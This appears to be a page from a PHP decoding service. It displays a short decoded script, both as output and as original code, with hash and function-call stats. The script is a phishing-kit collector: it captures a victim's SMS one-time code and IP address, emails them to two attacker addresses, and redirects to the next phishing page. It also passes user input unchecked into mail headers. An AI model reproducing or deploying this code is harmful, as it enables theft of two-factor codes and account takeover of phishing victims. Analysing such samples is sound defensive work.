Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $ip = getenv("REMOTE_ADDR"); $message .= "----------------------------------------..

Decoded Output download

<?php 
$ip = getenv("REMOTE_ADDR"); 
$message .= "---------------------------------------------------
"; 
$message .= "sms   : ".$_POST['sms']."
"; 
$message .= "-------------------
"; 
$message .= "IP: ".$ip."
"; 
$message .= "---------------------------------------------------
"; 
 
$send = "[email protected],[email protected]"; 
 
 
$subject = "SMS | $ip ]"; 
$headers = "From: OTP"; 
$headers .= $_POST['eMailAdd']."
"; 
$headers .= "MIME-Version: 1.0
"; 
 
mail($send,$subject,$message,$headers); 
 
header("Location: sms.php?submited=true"); 
 
?> 

Did this file decode correctly?

Original Code

<?php
$ip = getenv("REMOTE_ADDR");
$message .= "---------------------------------------------------\n";
$message .= "sms   : ".$_POST['sms']."\n";
$message .= "-------------------\n";
$message .= "IP: ".$ip."\n";
$message .= "---------------------------------------------------\n";

$send = "[email protected],[email protected]";


$subject = "SMS | $ip ]";
$headers = "From: OTP";
$headers .= $_POST['eMailAdd']."\n";
$headers .= "MIME-Version: 1.0\n";

mail($send,$subject,$message,$headers);

header("Location: sms.php?submited=true");

?>

Function Calls

getenv 1

Variables

None

Stats

MD5 238de6eb4a5655ba323858939a95cb0e
Eval Count 0
Decode Time 89 ms